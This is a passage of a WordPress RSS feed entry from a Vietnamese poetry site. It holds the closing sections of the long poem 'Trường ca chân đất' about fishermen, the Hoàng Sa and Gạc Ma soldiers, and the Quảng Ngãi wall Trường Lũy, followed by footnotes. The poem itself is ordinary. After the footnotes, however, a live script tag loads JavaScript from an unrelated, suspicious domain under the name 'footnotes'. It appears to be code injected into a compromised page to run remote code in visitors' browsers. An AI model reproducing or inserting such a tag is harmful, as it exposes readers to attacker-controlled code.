mê hoặc<br />những phận người bó chiếu giữa mông mênh</p><p>chỉ thế thôi nhưng mẹ ơi còn biển<br />là còn những chuyến đi không hẹn ngày về<br />nhưng mẹ ơi còn con trai trong bụng<br />là mẹ đẻ hết ra cho chúng giong khơi</p><p>người quê tôi không quen lời bay bướm<br />giọng nói nặng dây buồm<br />con trai biết bơi từ trong bụng mẹ<br />biết lắc thúng từ khi chưa biết chu vi hình tròn<br />biết tính cá bằng khoang<br />ăn sóng và nói gió<br />lặn sâu mấy chục sải<br />ngậm vật vờ ống thở<br />bơi bên cạnh hải sâm<br />như một chiếc tàu ngầm<br />tỉ tê cùng đáy biển<br />như một người bạn thân</p><p>lặn biển Hoàng Sa liệt nửa người<br />giờ ngồi xe chó kéo<br />người bé trên đảo Bé<br />mỗi khi nhìn thấy biển mắt rực cháy<br />“biển ơi biển ơi biển ơi”<br />thế thôi</p><p>lặng im như đá mồ côi<br />họ dạy anh tình yêu<br />không lời<br />anh yêu biển mà đứng trên bờ<br />anh yêu nước mà không biết bơi</p><p>Mai Phụng Lưu<br />mỗi bận xuống thuyền lại trực chỉ Hoàng Sa<br />như có ai dẫn<br />nỗi nhớ là hải bàn<br />mãi quay về một hướng<br />mỗi lần bị bắt mỗi lần bị đánh<br />lại tay trắng trở về dành dụm ra khơi<br />không thể sống thiếu Hoàng Sa<br />không thể sống thiếu biển</p><p>anh yêu biển mà đứng trên bờ<br />anh yêu nước mà không biết bơi<br />làm sao anh hiểu?<br />có những người lính đảo<br />trần lưng trước mưa đạn quân thù<br />“chỉ được xáp lá cà bằng lê”<br />nhưng với khoảng cách này là không thể<br />đành chỉ được chết vì đảo<br />đành cho lãng quên vùi mấy mươi năm</p><p>Gạc Ma Gạc Ma<br />hãy kể cho con cháu anh điều này:<br />có những người lính đảo<br />đã chết theo vòng tròn<br />tay họ giăng ra và siết chặt tay nhau<br />như một tràng hoa biển</p><p>không quỉ ma nào xé nổi<br />tràng hoa biển ấy<br />hãy kể cho con cháu anh<br />rằng từ Hoàng Sa từ Gạc Ma<br />những tràng hoa biển ấy<br />dạt trôi<br />về ôm chặt Mẹ</p><p>chân sóng<br />bắt đầu từ đó</p><p><strong>Chân lũy</strong></p><p>“nhân dân gọi là trường lũy”<br />(Lời một người dân Quảng Ngãi)</p><p>đá cõng đá cõng đá<br />mồ hôi cõng mồ hôi<br />tháng năm cõng tháng năm<br />người cõng người<br />xây nên<br />Trường Lũy</p><p>nhân dân không gọi nhau “man” này “man” nọ<br />nhân dân gọi nhau đồng bào<br />gọi nhau ca dao<br />ca-lêu ca-choi xà-ru<br />sáo trúc sáo tre tà-vố<br />gọi nhau sướng vui<br />gọi nhau đau khổ<br />nhân dân gọi nhau<br />trường lũy</p><p>nghe âm âm vách núi<br />vang vang lòng thung sâu<br />rối rít chợ đầu nguồn<br />mít non gởi xuống cá chuồn<br />gởi lên</p><p>mình í ới nghìn năm<br />nẫu nỉ non nghìn năm<br />bạn tỉ tê a-máp<br />ta đàn bầu đứt ruột<br />nghìn năm</p><p>nhu nhú trái bắp non<br />rỉ rách dòng suối nhỏ<br />tôi ngất ngây men lá<br />nậu nguồn<br />tôi tự chưng cất mình<br />rượu đoác<br />tôi huýt sáo lăn lóc<br />hòn đá nhỏ<br />tôi nỉ non í ới<br />từng con chữ</p><p>khi buồn tôi cũng buồn buồn<br />khi vui tôi cũng bán buồn mua vui<br />thế thôi</p><p>đừng bắt tôi nói những điều tôi không nghĩ<br />cái gì ra cái nấy<br />cùng mọi người tôi vác đá xây lũy<br />cùng mọi người tôi vác tự do vác tình anh em qua lũy<br />cùng mọi người tôi ném những trái ngang khỏi lũy</p><p>chúng tôi không xây Vạn Lý Trường Thành<br />chúng tôi đếch là hảo hán<br />chúng tôi tươi vui<br />bình thản</p><p>dù chân lũy tới chân trời<br />xa lắc chơi vơi<br />chúng tôi đi<br />dè dặt<br />chúng tôi đi<br />từng bước<br />chẳng ai cho không dễ dàng<br />chẳng ai cầu xin nhẹ nhàng<br />cứ còng lưng vác<br />đừng than phận nghèo</p><p>đừng than phận khó ai ơi<br />còn đá mọc lũy còn chồi nảy cây<br />còn mình còn bạn còn đây<br />ba lý tang tình<br />là còn đổi thay</p><p>tôi tin chồi tin nụ<br />tôi tin miệng em cười<br />tôi dừng chân lũy tôi ngó chân trời<br />tôi gọi ai ơi</p><p>bình thản<br />tươi vui</p><p>đừng than đường khó<br />một viên đá còn góp nên thành<br />đừng căng thẳng<br />cứ hò lên cho ba lý nhẹ mình</p><p>rồi qua sông<br />rồi qua núi<br />rồi qua suối<br />rồi qua ta<br />chân mình qua chân lũy<br />tới chân trời<br />xa lắc<br />chơi vơi</p><p>ai ơi<br />còn trời còn nước còn non<br />còn cô bán rượu anh còn say sưa <sup><a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/#footnote_1_12161" id="identifier_1_12161" class="footnote-link footnote-identifier-link" title="ca dao Việt">2</a></sup></p><p><em>Quảng Ngãi 25.8.2011</em></p><ol class="footnotes"><li id="footnote_0_12161" class="footnote">câu thơ Cao Bá Quát trong bài “ Sa hành đoản ca”</li><li id="footnote_1_12161" class="footnote">ca dao Việt</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/">Trường ca chân đất</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/04/04/truong-ca-chan-dat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12161</post-id>	</item>
	</channel>
</rss>
